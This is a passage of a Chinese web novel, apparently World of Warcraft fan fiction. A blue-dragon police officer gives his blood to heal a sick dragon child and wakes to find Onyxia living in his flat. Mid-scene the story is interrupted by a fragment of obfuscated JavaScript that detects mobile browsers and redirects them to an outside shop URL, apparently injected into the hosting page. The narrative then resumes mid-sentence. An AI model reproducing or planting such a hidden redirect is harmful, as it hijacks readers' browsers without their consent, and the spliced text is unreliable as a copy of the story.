萨菲隆急忙将功补过,根据小孩留下的奥术能量痕迹确认了去向,于是他和红龙中将冲出墓园,跳上各自的车,火燎屁股似的展开追踪。 几乎跨越了整个暴风城北区,最后他们停了下来。 “是这里吗?”安多洛夫问。 “难道是我弄错了?……”萨菲隆喃喃自语。 “怎么?” “这里是我住的地方。” “……” 萨菲隆上了楼,安多洛夫跟在他后头。 “不要跟这么紧。” “嗯?” “我们会把楼梯压塌的。” “……你就住在这种地方——嗷!“ 萨菲隆指了指墙上贴着的“小心碰头”告示。 最终两条龙站在一扇门前,见萨菲隆有些异样,安多洛夫瞅着他。 “这是……我的公寓。” “那小子在里头?”安多洛夫问。 “应该是的,不过——” “很好。” 安多洛夫抬起脚,咣的一声踹开房门,那扇老旧的木门哪经得起这一脚,连轴承都断掉了,裂成三块,飞向房间的不同角落。 安多洛夫的掌心腾起一簇火光,回头向萨菲隆做了个很专业的手势,蓝龙却没反应。 “怎么啦?”安多洛夫奇怪地看着萨菲隆一脸天崩地裂的表情。 “房东太太会杀了我。”萨菲隆吸了吸鼻子,蓝眼睛里一闪一闪的。 “回头寄支票给你。”安多洛夫很仗义地拍了拍他的肩膀,俨然已把萨菲隆当成了“自己人”。 “暴风城警察,不许动!——” “暴风城警察,不许动!——” 两人一前一后闪身进屋,吼声如雷。 “你又不是警察。”萨菲隆提醒道。 “电影里都这么演的。”安多洛夫严肃地说。 原本就不大的客厅一下子塞进来两个巨人,顿时变得拥挤不堪,安多洛夫一边观察周遭环境一边试着把身子朝里挪动:“你就住这儿?” “嗯。”萨菲隆点了点头。 安多洛夫小心翼翼地踩着咯吱作响的木质地板,好奇地东张西望。 “甜心们,你们在这里做什么?” 一个天籁般的女人声音响起。 萨菲隆认得这个声音。 随着啪嗒啪嗒的拖鞋声,她从厨房里走了出来。 那一刻,萨菲隆以为自己产生了幻觉。 天呀,这世上竟然还有这么美丽的女人吗? 萨菲隆想。 还有那味道……老天。 她竟然浑身上下只裹着一条白色的浴巾,裸露的肩上还凝着细细的水珠。 黑发被束起,她全身白皙的肌肤如瓷器般细滑。 第一眼看到她,萨菲隆就无法将自己的视线挪开。 他不是没见过美丽的女人,暴风城这样的大都市靓女如云,但对于萨菲隆来说,美则美矣,欣赏之余,无法产生任何“想法”。 她是完全不同的。 萨菲隆从她身上闻到了——异性的味道。 外表固然重要,但对于龙这种“一闻钟情”的生物来说,气味也是不可或缺的催情要素。 他已经很久很久……很久没有闻过雌性龙的味道了。 即使是清心寡欲的雄性蓝龙,在龙族繁殖季到来之际,一样会对漂亮性感的雌性龙发情。 所以在她面前,萨菲隆心跳加速,口干舌燥。 她怀里抱着一团毛绒绒的东西,那是萨菲隆的猫。 猫偎依在美人胸前,不时幸福地拱上一拱,看得萨菲隆气喘如牛。 相比起石化的萨菲隆,安多洛夫的反应则老练得多,见她刚刚出浴,便立即转过身去背朝对方。 萨菲隆愣了半天,才回过神来,也转过身去,两条大龙肩并着肩砌起肉墙,都是一脸铁面无私。 “你们现在可以说话了。”美人若无其事地抱着猫,仿佛她才是这里的主人。 “穿上你的衣服。”安多洛夫命令道。 “你破门而入,就是为了跟我说这个?”她笑眯眯地说,“安多,你还是那么可爱。” 用“晴天霹雳”来形容萨菲隆此刻的心情真是毫不为过。 “那孩子在哪里?”安多洛夫口气冷硬,“我就知道这事情没那么简单——是你让萨菲隆警官去那里找我的?” “哎?我可是为了救人才好心通知他的。”她一脸无辜。 “救人?真的是这样吗?”安多洛夫哼了一声,“为什么把那孩子带走?” “你在质问我吗,雷奥中将?”她一脸不悦,“别忘记你在跟谁说话。” “……”安多洛夫沉默片刻,压低声音,“请原谅,我太无礼了。” 萨菲隆暗吃一惊。 她到底是什么人? “我让弗洛斯特警官去花园公墓找你,本以为你们会设法救那小可怜一命,怎料你们居然完全不顾时间场地,一言不合就大打出手,把那孩子丢在一边任由风吹雨打,我实在看不下去才把他带走,有什么不对?”美人冷冷开口,“男人凑在一起要把事情办好就这么难吗?这就是红龙和蓝龙的水准?真令我失望。” 安多洛夫没吭声,但明显他对美人的话颇不以为然。 “我们会救那个小家伙的。”萨菲隆开口。 他甚至没有在这么漂亮的雌性龙面前说话的经验,话说完了脑子里还晕乎乎的,手脚都不知该朝哪里放,下意识地把手伸向后脑勺,耙了两下又飞快地放下。 “这孩子必须换血才有存活机会。”她说,“得用纯正的蓝龙之血。” “她什么都知道。”安多洛夫用鼻子喷着气。 美人没理红龙,只是看着萨菲隆,他能感觉到她灼热的视线。 “你是纯种蓝龙吗?”她问。 “是的,小姐。” “看起来一点也不像。”望着萨菲隆巨大的倒三角形的背,她做出评价。 “他当然是纯种的蓝龙。”安多洛夫说。 “是吗?”美人反问,“蓝龙的男人们不都是些没屁股的竹竿吗?” “你真该亲眼见识见识他的蓝龙之力。”安多洛夫说。 萨菲隆鼓足勇气转过身,他的须发悄无声息地由黑转蓝,接着他脱掉汗衫。 看着他那犹如两块盾牌拼在一起的健壮胸膛,美人玩味地挑了挑眉。 只有纯种蓝龙的人类形态,胸前才会有V字形的白斑,形状越规则,纹路越清晰,就代表血统越纯正——萨菲隆确实是一条如假包换的纯种蓝龙。 “这可真有意思。”美人微微一笑,“本来我还担心蓝龙太弱不禁风,流点血就会头昏眼花呢——那么,就在这里进行吧?” “我要见见那小鬼。”萨菲隆提出要求。 “哦,当然可以,他就在里面。” 萨菲隆走进卧室,剩下安多洛夫和美人在客厅。 “为什么不让麦洛尼家族来处理?”安多洛夫低声问。 “当然不行。”她答道,“如此好牌,怎能物归原主?” “我奉劝你们好自为之。”安多洛夫冷冷地说。 “你这种冷战思维早就过时了,安多,我们早就不是红龙最大的敌人了。”她轻声笑着,弯腰把猫放下,朝门口走去,“好了,接下来是你们男人们的时间,我得先去做个护理。” “你到底——” “我住在这里。”她回头理所当然地说,“就在楼下,刚刚搬过来,我的专用浴缸还在路上,上来借个地方洗澡不行吗?邻居串门联络下感情,有什么好奇怪的。” “……” …… 要治好小孩,就必须换掉他体内全部的血,供血者自然是同为蓝龙的萨菲隆。 对于红龙来说这种手术应该不是难事,萨菲隆也并不担心自己——他很强壮,原本需要至少三条成年雄性蓝龙分五次才能完成的换血过程,他可以独自应付一次搞定。 令他伤脑筋的,是手术过后可能随之而来的种种问题。 这并非通常意义的输血,而是在红龙精华的影响下,以他的血液为基础,由内至外重塑小孩的身体——换言之小孩如果最终得救,不变的只有灵魂,至于身体,已经完完全全地被“更替”了。 “换完了血,我会不会就……就成了这个小家伙的爸爸了?”躺在小孩身边,萨菲隆担心地问。 “生物学的角度?”红龙瞅着他,“法律的角度?还是社会学的角度?” “呃……随便什么都成。” “很遗憾,都不是。”光头巨人摇了摇头,“你的血只是原料,重塑器官和骨肉时用的依然是这小子从他爹娘那儿得到的遗传基因,你的血液所携带的DNA编码被改写后,原来的信息都不会得到保留。” “你可以随意破译和改写DNA?”萨菲隆吃惊地问。 “亲爱的,高位红龙不就是干这个的吗?” “……你是‘卡卡’吧?” “安多只会杀人,治病救人这种精细活还是我来比较好。” 卡卡。 “闭嘴,安多。” 呜…… 赶跑了安多,卡卡又扬起半边眉毛望着萨菲隆,“怎么说?我是无所谓啦,直接用你的DNA也成,我还能省点事。” “不,不,卡卡先生,请不要这样。”萨菲隆忙道。 如果不改写基因信息,小孩康复后,就等于是他的血亲了。 小孩的父亲是卡雷苟斯,他当然知道这意味着什么。 对于这种名门望族,他本应敬而远之才是。 “我会对你们使用催眠术,运气好的话,一觉醒来就没事了。” 萨菲隆点了点头,握住小孩的手。 卡卡将手分别置于一大一小两条蓝龙的前额,正欲发动红龙之力,萨菲隆突然冒出来一句: “你们……和她认识?” “算是吧。”卡卡漫不经心地点了点头。 “她……她……” “她很辣,对吧?泰坦尼亚最销魂的母龙之一,追求者能从月光林地排到希利苏斯,无一不是大富大贵,你这回可交好运了。” “她……我……” “好了亲爱的,放松,我要开工了。” 没再给那条心猿意马的蓝龙发言的机会,卡卡眼中红光一闪。 萨菲隆眼前顿时一片黑暗,他感到自己浑身的血都开始沸腾,同时整个人不断下坠,感官变得模糊,迫使他放下了全部戒备。 你不会再见到我,但我觉得有必要给你两个忠告。 朦胧之中,他听到红龙的声音。 那是安多,还是卡卡?…… 其一,无论是死是活,你最好立即把这小子送回泰坦尼亚。 他会的。 小孩的家在泰坦尼亚,那里有他的亲人,那里才是他的世界,他属于那里。 他当然会把小孩送回去,这算什么忠告?…… 其二…… ……别相信她。 为什么?…… 记住我的话。 ………………………… ……………… …… 对于红龙的“忠告”萨菲隆百思不得其解,然而无论他怎么顽抗,试图在昏睡前抠出一点空隙来思索,都是徒劳的。 红龙通过调整体内分泌、放缓血液流速和舒缓脑细胞的活跃度等“硬手段”实现催眠,接下来则是绿龙的控制领域,在精神层面,蓝龙没有话语权,只得顺从地在绿龙的引导下进入翡翠梦境。 萨菲隆做了一个梦。 天上下着雨,他走在空无一人的街道上,四周都是古式建筑。 他在一个巷口驻足,里头黑漆漆的一片,什么都看不见。 但他却不由自主地走了进去。 巷道很狭窄,他得略微侧身才能前行。 不知走了多久,他看到一点跳动的火光。 那是一盏满是油污的小灯,雨水在四周溅落,微弱的灯火在风中摇摇欲坠。 小灯旁是一张被裹成一团的破旧毛毯。 萨菲隆单膝着地,跪在灯旁,伸手将毛毯拨开。 那是一个小男孩,他正用毯子裹着自己瑟瑟发抖的身躯。 他的怀里还搂着一只小小的白猫,看着眼前那个山一般魁梧的男人,孩子张了张嘴,艰难地发出声音: 杀……杀了我吧。 小猫的身上有一些蓝色的不明物体,那是从孩子身上渗出来的。 先生……杀了我吧,求求您……我不想再疼了。 看着孩子绝望的蓝眼睛,萨菲隆觉得自己的心被狠狠地捅了一刀,血流如注。 他伸出手,轻轻地揉着孩子天蓝色的头发。 你为什么一个人在这里?你的爸爸妈妈呢? 萨菲隆听到自己在问。 他们不要我了,只有比格沃斯一直陪着我……可是它也快死了。 孩子哭了起来,把怀里的猫举到萨菲隆面前。 他当然认得这只猫。 我是不是瘟神?为什么靠近我的人都会生病?……连花在我手中也会一下子枯掉,我是不是怪物? 萨菲隆再也忍不住了,将那孩子和猫抱在怀里。 你不是瘟神,你也不是怪物,这只是奥术污染,只是失控的奥术污染……你要是能和你的爸爸在一起就没事了! 如果……如果你知道他是谁的话。 别抱我!先生……别靠近我!您也会生病,然后也会死掉的!…… 不,我不会死,我不怕你身上的奥术污染——你也不会死,比格沃斯也不会死,你们会一直在一起……你是个幸运的小家伙,奥术污染不会毁了你,只会让你基因突变……不!不不,别怕!只要能熬过去……只要能挺过去,你会长成一条很大很大的蓝龙,翅膀比红龙还要宽,尾巴比黑龙还要长……你会当上警察,穿着威风的制服,保护大家…… 您为什么知道这些?难道您是青铜龙吗? 不,我不是青铜龙,可我就是知道。 可是您在哭。 孩子用冰冷的小手抚着他的脸。 您的爸爸和妈妈也不要你了吗? 萨菲隆笑着,擦了擦眼睛。 他们不要你了,您恨他们吗? 我不知道,但也许不会。 毕竟我连他们长什么模样都不知道,恨又从何谈起? 就算在这个世界的某个角落相遇,也认不出对方。 也许他们早已不在人世,也许他们并不想离开我。 可是,总是一个人,不会很寂寞吗? 我已经习惯了……我想以后你也会习惯的,小家伙。 “你还好吗,萨夫?” 身后突然响起一个男人的声音,萨菲隆回头,只见一个穿着白汗衫、七分裤和夹趾拖鞋的银发男人,正撑着一把透明的伞,站在离他不远的地方。 翠绿色的眼,标志着他作为梦境之主的身份。 萨菲隆再看回面前,孩子和猫已经不见了,他拿着小油灯站起身,转向绿龙。 “伊萨。”他低声问,“这是为什么?” “人们因为各种各样的原因做梦,并非每个梦都是绿龙有心编排。”伊萨笑道,“在别人的梦里绿龙通常只是个旁观者,虚幻映衬现实,荒诞暗示真理,做梦没什么不好。” “我已经很久没有做过这个梦了。” “那是因为之前的你在努力回避,但现在某些事情发生了。”伊萨凝视着萨菲隆的眼睛,“那个孩子让你想到自己,你们的处境竟是如此相仿,你会这么处心积虑地救他,并不完全是因为种族与颜色。” 萨菲隆没有说话,绿龙微微歪着头,像是要把他看个通透。 “那孩子并没有被遗弃,他的父亲因为某些原因不能再保护他,所以你开始在想,或许你也是这样——‘他们并不想离开你’,这样你心里多少会好受一点吧?“ “伊萨,别这样。”萨菲隆叹了口气,用央求的口气说。 “抱歉。”绿龙垂下眼。 “我们认识了那么久,你几乎从没在我的梦里出现过,你不是旁观者吗?” “那是‘通常’。”伊萨说,“事实上,我是来警告你的——那条龙崽是危险人物,我不想看到你铸成大错。” 萨菲隆不禁想起红龙的忠告。 绿龙将其升级为“警告”——真的会这么严重吗? “萨夫,我没有在开玩笑。”见他不声不响,伊萨淡淡地说,“盛夏繁殖季马上就要到了,身边突然多了一个小孩和一个女人,无论再怎么向往家庭生活,我都劝你最好保持清醒。” “你在胡说些什么?”萨菲隆哭笑不得。 “你很清楚我在说什么。” 留下这句话,伊萨的身影开始变淡,渐渐消失在雨中。 麦洛尼家族是被诅咒的泥潭,陷得太深了对你没有好处,萨夫。 绿龙话音刚落,萨菲隆手中的灯熄了。 …… 他猛地醒来,映入眼帘的是熟悉的天花板。 熟悉的枕头,熟悉的床单,这是他的卧室,他正躺在自己的床上。 门虚掩着,客厅里喧哗不断。 床头柜上的钟显示现在是星期五下午,他突然伸手在钟上按了两下。 还好,年月是对的——他只是昏睡了两天而已。 他用手肘撑着床,掀开被单,低头看看自己,却是光溜溜的不着一丝,他愣了一会,拿起枕边叠放整齐的衣物,慢慢穿戴起来。 衣服都是新的,标签已经被剪掉了,内领的洗标上印着他不认识的品牌,以及“泰坦尼亚制造”。 他轻轻推开卧室的门,又大吃一惊。 一台至少有八十寸的平板电视占据了一半客厅,剩余的空间被一张豪华真皮沙发填满,电视和沙发之间摆着一只涂着钢琴漆闪着蓝绿呼吸灯看起来很高级的黑盒子,一大一小两个身影正在沙发上手舞足蹈大呼小叫,电视屏幕里流光溢彩,“KO”字样光芒万丈。 “我赢了我赢了!我终于赢你啦!” “你赢了吗?我看未必哦~” “哇!你咬我!你怎么可以咬我的!” “嗯,听说小蓝龙的肉鲜嫩可口,让我尝尝看~” “救命啊!——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363269|199776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一个小孩气喘吁吁地抓着沙发靠背探出头来,大叫着伸手向萨菲隆求援: “老爸,救一下我嘛——这条母龙要吃掉我了啦!” 萨菲隆完全傻掉了。 紧接着一个大美人也跟着趴在沙发背上,一手搂着小男孩,笑眯眯地看着萨菲隆: “哎?总算醒了吗?我们还担心你赶不及晚上和我们一起去吃饭呢。” “……” “来,让我们彼此重新认识一下——我叫奥妮克希亚·普瑞斯托,我是黑龙王奈萨里奥的女儿,泰坦尼亚的黑龙公爵奈法利安是我哥哥。普瑞斯托家的男人原本大多混□□,不过现在做正经生意,偶尔也会走走私、绑绑架、杀杀人什么的,可是我们从来不碰毒品的哦,这一点我们很遵纪守法的——” “轮到我说了。”小孩高高举起右手。 “你说你说。”美人似乎心情大好,竟破天荒地允许小孩插嘴。 “我叫奥比……嗯,老爸你姓什么来着?” “……” “是弗洛斯特,长点记性。”美人佯怒,伸出芊芊玉指,在小孩脑门上轻轻一弹。 “我叫奥比 ·弗洛斯特,从今以后照顾我的人就是老爸你啦——虽然你长得不怎么帅,开的车也很破,不过我很大方的,你看这个电视机,还有这个游戏机,都是我买的哦——我说,老头,你不觉得家里太挤了吗,我们去换个大一点的房子嘛,起码得有几个游泳池啊花园啊什么的——哦对了,一定要多弄几个浴室,这个女人每次洗澡都要洗好久——哇!你又咬我!本来就是你不对嘛,明明就住在楼下,为什么非要把浴缸塞到我们家里!” “……” 小孩已经完全好了,活力四射,浑身上下看不出一丝阴霾,像个耀眼的小太阳,到处滚来滚去,红龙精华确实名不虚传。 而她好像变得更美了,他甚至舍不得移开视线,生怕错过她的一颦一笑。 一切突如其来,他一边努力消化信息,一边环视自己面目全非的公寓。 “……我得去局里一趟。”萨菲隆好容易才找到一个话题。 “不必了。”奥妮克希亚用手支着下巴,“我已经把你这几天来发生的事向你们局长做了全面简报,他已经批准你两周的带薪假期,你可以好好休息一下,毕竟大量失血对身体机能影响很大,所以接下来我会着手安排你的复健计划,以确保你在繁殖季到来时能生龙活虎,男人也应该对自己好一点才是……嗯,话说你们局长其实挺可爱的,他还给我留了他的私人电话,希望和我保持联络呢。” “你……你不能在暴风城杀人!”萨菲隆大为紧张,“那些凡人不是有意冒犯你——” “我又没说要把他怎样,你这么担心做什么。”奥妮克希亚笑道,“还是说……你不乐意看到我跟你家局长大人幽会?可我一个人在暴风城孤伶伶的,身边要是没个威武雄壮的猛男陪着,万一心情不好大开杀戒怎么办?” “老爸你管管你的女人啦。”小孩一边玩游戏机一边说,“母黑龙到了繁殖季一定要经常跟公龙在一起搞来搞去才行,不然万一抓狂了就麻烦大了哦——” “我不是黑龙!”萨菲隆叫道,“而……而且,普瑞斯托小姐和我也不是……” 老天,在他昏睡的时候到底都发生了什么?…… “我们都这么亲密了,你怎么可以撇清我们之间的关系呢?”奥妮克希亚伤心地望着他,“我们都同居了,为了做一个称职的贤妻良母我还努力学习烹饪和裁缝,而且我也是真心喜欢你的孩子的。” “老爸你娶谁当老婆都没关系的,我很通情达理的。”小孩不失时机地表明立场。 萨菲隆连连吸气,努力命令自己镇定下来。 冷静点,萨夫,把头绪理清,你能做到的。 小孩已经被红龙治好了,用的是他的血,但遗传因子已被更改——如果红龙没偷懒的话——所以小孩现在仍是麦洛尼家族的成员,和他并无血缘关系。 奥比会叫他“老爸”,是因为不知道其中的细节,他得找机会解释才行。 但奥妮克希亚…… 大美人空降到自己家里,他当然很兴奋,可是…… “可是房东太太——” “已经被我摆平了,现在这上下两间房子都是我的了。” “你,你把她……”萨菲隆结结巴巴。 “拜托,甜心。”奥妮克希亚伤脑筋地抚着额头,“除非你的房东太太长得比我漂亮,不然我没事干嘛杀她?” 说完奥妮克希亚变戏法似的摸出一叠纸,“这是房产证明和转让声明,经过公证,两天前开始起效,期限九十九年。” “可是我还有一季的房租没交。” “从现在开始你再也不用交房租了,把钱拿来买点衣服比较重要。” “我的衣服?……” “已经全被我丢了——甜心,你衣柜里的那些老古董完全跟不上潮流,你好歹是条巨龙,用来Cosplay的警察制服也就算了,超市里那种十金一件还买二赠一的廉价T恤是龙穿的吗?还有那些杂牌牛仔裤,都没有水洗过,色牢度也很差——” “可是穿起来很舒服……”萨菲隆小心翼翼地争辩着。 “你闭嘴。”奥妮克希亚一扬眉,“我看你一点都不懂照顾自己,巨龙属于艾泽拉斯上层阶级,是引领世界发展的高位者,你就算隐居也不可以把层次降得比凡人还低。” “可是我当警察的薪水就只有一点点。”萨菲隆抓抓脑袋,环视四周,“我的杠铃呢?……” “太占地方,所以我拿去丢了。” “丢……丢了?”萨菲隆目瞪口呆。 那玩意有五吨重哩。 “是啊,连着杠铃架一起拿下去然后叫我的手下运到废品收购站去了。”奥妮克希亚懒洋洋地说,“虽然你有在杠铃架上设置反重力魔法,可这终归不是个长久之计嘛,万一哪天忘记强化了把地板压塌了怎么办?况且你的屋子那么小,我当然得想办法腾出地方来了,不然我们怎么在一起亲热?” 亲……亲热?!莫非……难道是……难道指的就是那种…… “是的,甜心,亲热,比如我们都把衣服脱掉,然后观看和爱抚彼此的身体之类的——嗯,你知道,如果互相满意的话,还可以做更多的事。”看着那位蓝龙警官石化的样子,奥妮克希亚惊讶地问,“怎么,难道你觉得我还不够漂亮?不足以激发你的情欲?” 要是在泰坦尼亚有人敢说这话,铁定会被愤怒的黑龙公主亲卫军碎尸万段的。 “不不,普瑞斯托小姐——”萨菲隆赶紧摆手。 “叫我奥妮就好了。”她打断他的话,“不是每条公龙都有资格这样对我直呼其名,但是我允许你这样叫我。” “奥……奥妮,我……”萨菲隆急得抓耳挠腮——他当然很乐意和母龙亲热,尤其是奥妮克希亚这种他连想都不敢想的性感女神,光是在脑袋里模拟各种限制级画面就能让他兴奋不已……可他偏偏就是觉得好像有些地方不对劲,似乎在坦然接受这极品艳遇前,先得经过几道“手续”才是。 ——萨夫,你真是个笨蛋,你现在最应该做的事,就是立即把这投怀送抱的尤物抱上床,然后让她尖叫! ——别乱来,萨夫,别忘记红龙和绿龙的话,这一切都是有联系的,也许这是个为你而设的局。 ——快咬她的脖子!然后用尾巴撩拨她的敏感部位! ——冲动是魔鬼!萨夫! 激情与理性惨烈交锋,萨菲隆脑袋里简单的思路回路从没处理过这么棘手的问题,这导致他整个人再度当机,而他那副不知所措的笨拙模样在奥妮眼里,却是无比可爱。 “需要我帮助你思考一下吗,甜心?”奥妮不失时机地火上浇油,驾轻就熟地冲着他雄壮的男性身躯上下其手,她的指尖在他宽厚的胸膛上轻轻地划着圈,萨菲隆的喉结上下蠕动着。 需要吗?不需要吗?天呀,他到底该怎么办?如果他现在能昏过去就好了。 危急关头,救星出现了。 “我玩完了!”小孩把手柄丢到一边,大声宣布,“我们去吃冰激凌吧!” 萨菲隆发誓自己看到了奥妮克希亚眼中的杀气,那一刻他差点以为她会回头一个顺劈把小奥比当场分尸。 但她只是笑眯眯地说: “好啊,顺便去逛逛街,把你老爸好好打扮一番。” “去换鞋啦,老爸。”浑然不知自己刚刚与杀身之祸擦肩而过的奥比兴高采烈地拽着他的大手。 “等一下,呃……普瑞斯托小姐——”被小孩牵走前,萨菲隆不抱希望地问,“我的车,该不会也……” “也叫卖二手车的拖走了。”奥大美人笑盈盈地朝他抛了个东西,他接住一看,发现是把车钥匙,上面赫然是奥克兰特霜狼的徽标。 名车哇。 可是他的杠铃,他的牛仔裤,他的吉普车,呜呜呜。 “开车带我们出去玩,体验一下幸福的家庭生活吧,弗洛斯特警官。”奥妮克希亚拎着她的手袋,眉开眼笑地抱着萨菲隆的胳膊,把头靠在他的肩膀上做小鸟依人状,如此亲密的举动令蓝龙警官热血沸腾,闻着雌性黑龙邪媚妖异的气味,萨菲隆想入非非之余只有傻乎乎点头的份。 这个盛夏的繁殖季,好像终于不用再一个人过了耶。 7. 第 7 章 萨菲隆一头栽到床上,像条搁浅的鲸鱼。 幸福的家庭生活,绝对是要付出代价的。 他这辈子也没这么累过。 局里野外拉练,两个挺着啤酒肚的同事怕通不过考核被降职便求他帮忙,被两箱啤酒收买的萨菲隆扛着两个大活人一口气跑完四十公里,肩上两个人被颠得直翻白眼,他硬是大气不喘;他的铁人三项成绩比世界纪录快十倍;他的周末娱乐常常是在东部大陆的米奈希尔港和卡利姆多的塞拉摩港之间游上一个来回。 但若是“逛街”,尤其是和奥妮克希亚与小奥比这种血拼高手一起的话,对于萨菲隆这种精英品味匮乏、时尚触感迟钝的公务员级消费者来说,无异于酷刑。 身边“咚”的一声,萨菲隆把露在枕头外的右眼掀起一条缝,发现是小奥比后又合上了。 “你怎么啦?”小孩皱着眉头望着他。 这小家伙精力还真是旺盛,他甘拜下风。 见他没动静,小孩又问:“那个冰激凌很好吃对吧?还有那个蛋糕,我们下次再去那家店好不好?” 六十金币一个球的冰激凌,当然好吃了。 那么小一块蛋糕就要卖两百金币,门口还排着长龙人人翘首以待,他们三人是凭着小孩的贵宾身份才长驱直入,萨菲隆还是头一次见到这么疯狂的蛋糕店。 “好不好嘛。”小孩推着他的肩膀,一副朝父亲撒娇的口气。 “唔唔。”萨菲隆应了声,算是答应了。 “我知道你嫌贵,下次用我的信用卡就好了嘛。”小孩趴在他身边,伸手摸了摸他刮得青光闪闪的腮帮,好奇地研究他脸上钢刷般的胡茬。 萨菲隆重新睁开眼:“普瑞斯托小姐呢?” “她有点私事,刚刚下楼跟着两个穿黑衣服戴熊猫眼镜的人走了。”奥比答道,“我看他们好像是黑龙的保镖打手,不过他们都没有你的块头大。”说着纵身跳到萨菲隆背上,把脸凑到他耳边,贼兮兮地问:“她很辣,对不对?” “没有比她更辣的了。”萨菲隆有气无力地应道。 在高档商场和名牌专卖店大肆血拼完之后,奥妮克希亚牵着他继续逛暴风城北区有名的迪尔格超级美食街。 女人对美食总是敏感的,奥妮克希亚显然事先做过功课,直接要了一大堆“恶魔炸鸡”——光是看着那颜色闻着那味儿萨菲隆就鼻尖冒汗连打喷嚏,可美人盛情难却,他只得硬着头皮加以配合,奥妮克希亚撕下几块鸡肉丢进他的嘴里,见他被辣得坐立不安抓耳挠腮的样子,笑得前仰后合。 “其实我觉得那个炸鸡看上去挺美味的。”小奥比一脸坏笑,“对啦,后来那碗拉面——” “别提那碗面!”萨菲隆低叫道,“一个字也别提!” 那碗所谓的“血池地狱拉面”,对于萨菲隆这样一条饮食清淡的蓝龙来说,无疑是噩梦。 当他委婉地向奥妮克希亚表达自己更喜欢吃鱼后,美人一挑眉:“怎么不早说?我带你去吃水煮蓝鱼吧。” 萨菲隆一听觉得挺好,首先是鱼,其次“水煮”总该比“血池地狱”好些——水煮的东西,想必是类似鱼汤的东西吧? 水煮蓝鱼很快就端上来了,那些躺在鲜红发亮的沸腾辣油中的鱼片被放到萨菲隆面前,令他觉得自己仿佛正面对着一盆冒泡的岩浆。 “这……这是什么?”他一边擦着汗一边结结巴巴地问。 “这道菜之所以如此美味,其奥秘就在于它用了产自黑石深渊最深处,也就是熔火核心的龙息红椒调味。”奥妮克希亚一边专业地讲解着,一边将两根小木棍插进萨菲隆的手里,“这道菜必须用这种叫‘筷子’的餐具吃——好了甜心,还不快尝尝看?” 龙息红椒被誉为艾泽拉斯的辣椒之王,在黑龙和红龙眼中是无上美味,蓝龙则压根不敢碰这种东西,但为了不让美人失望,豁出去的萨菲隆毅然向这盆水煮鱼发起挑战。 结果就是他现在趴在床上,非但累得连动都不想动,肚子里还一个劲地翻江倒海。 “你会娶他吗?”小孩在萨菲隆宽阔的背上滚来滚去,冷不防问了这么一句。 “……”萨菲隆翻起眼皮瞟了小孩一眼,“为什么问这个?” “我觉得她对你挺有意思的。”小孩盘腿坐在他背上,双臂环胸,歪着头分析道,“据我所知,黑龙是现实的行动派,只要是他们喜欢的,一定会采取行动弄到手。” “要是他们不喜欢的呢?”萨菲隆问。 “他们根本连看都不会看一眼,或者干脆毁掉,免得碍眼。”小孩笑嘻嘻地拍了拍他的肩头,“你这回交好运了唷。” “是啊,我真的交好运了。”萨菲隆含糊不清地嘟哝着。 见他兴致缺缺,奥比眼珠一转,又笑眯眯地扒住萨菲隆的肩头: “老爸,我们明天去哪里玩好呢?” 萨菲隆虎躯剧震,差点没把小孩掀个四脚朝天。 “小鬼……你才刚刚康复,应该好好休息——” “我才不要,我在那个鬼地方被埋了那么久,都快霉掉了,现在要全部补回来,这段时间错过的电影、选秀、还有新的游戏要统统——” “万一复发了,错过的电影、选秀还有游戏不是更多吗?” “为什么会复发?”小孩歪着头望着他,突然他绷紧瘦瘦的身子,一脸恐慌地低叫道,“难道……难道你不打算陪着我吗?” “我不是这个意思……”萨菲隆没料到这小家伙会如此敏感,忙试着解释。 小孩突然哭了起来,令萨菲隆手慌脚乱。 “你……你也不想要我,对不对?你也嫌我赖在这里很烦,是不是?” 萨菲隆用尽力气翻了个身坐起来,想把奥比逮到自己怀里摸摸,怎料那小家伙像是真恼了,推开他的手,赌气般地挪到离他最远的床角。 “你总得回到泰坦尼亚,和自己的……爸爸在一块儿。” “我没有爸爸。”小孩冷冷地说。 萨菲隆心里一凉。 “……也不能说没有啦。”小孩抿了抿嘴,又改口道,“不过有跟没有都一样。” “为什么?”暗松了口气,萨菲隆低声问。 “他从没理过我。”小孩耸了耸肩,“从来没陪过我,织法节时也一样。” 十年一次的织法节是蓝龙最重要的节目之一,每逢过节,萨菲隆总会叫上几个同事去撮一顿好的,他不知道泰坦尼亚的蓝龙的情况,但起码应该和家人在一起,像麦洛尼这样的大家族,没道理不举行聚会。 “家里的房子很大,人也很多,可全都是保镖和仆人,他们就好像串通好的一样跟我说:‘少爷,老爷公务太繁忙,实在没空陪你,有什么需要的就尽管吩咐’。”小孩不屑地哼了一声,“原来每次过节我都问我老爸会不会回家,后来我再也不问了,爱来不来呗,搞得好像谁稀罕他来似的。” “……”萨菲隆说,“你爸爸是蓝龙王的特使,又是长子,也许——” “少来了。”小孩嗤之以鼻,“那些都是借口,他就是讨厌我,不想见到我。” “没有爸爸会讨厌自己的小孩的。” “我妈生下我后不久就死在太阳井高地了。”小孩说,“她原本不用出战的,还不是为了他?” 萨菲隆沉默不语。 他知道这件事。 几百年前太阳之井战役,他也有参战,只不过是以联盟援军的身份去了奎尔萨拉斯岛,并没有显露自己的巨龙形态。 卡雷苟斯被恶魔侵蚀心智,竟对蓝龙王玛里苟斯倒戈相向,玛蒂古萨救人心切,从泰坦尼亚直奔前线,却在寻找卡雷苟斯的时候遇到了一个恐怖的深渊领主,摆脱了心魔的卡雷苟斯赶到时已经太迟,激战中玛蒂古萨壮烈牺牲,尸体被恶魔之血腐化后重生为骨龙菲米丝,随后被联军消灭。 玛蒂古萨是小奥比的母亲,然而—— “我妈真傻。”小孩面无表情地说,“喜欢我爸喜欢得连命都可以不要,其实我爸眼里从来就没有她,结果呢?麦洛尼家从来就没认过她这个媳妇,她得到了什么?诺森德的一块碑,亡者之书上的一个名字而已。” 说这些的时候,奥比的脸上有着和他年龄不相称的成熟与冷漠,那双漂亮的湖蓝色的眼也深得捉摸不透,见萨菲隆一脸愕然地看着自己,小孩垂下头,咬着唇有一下没一下地揪着床单。 萨菲隆不知道该说什么好。 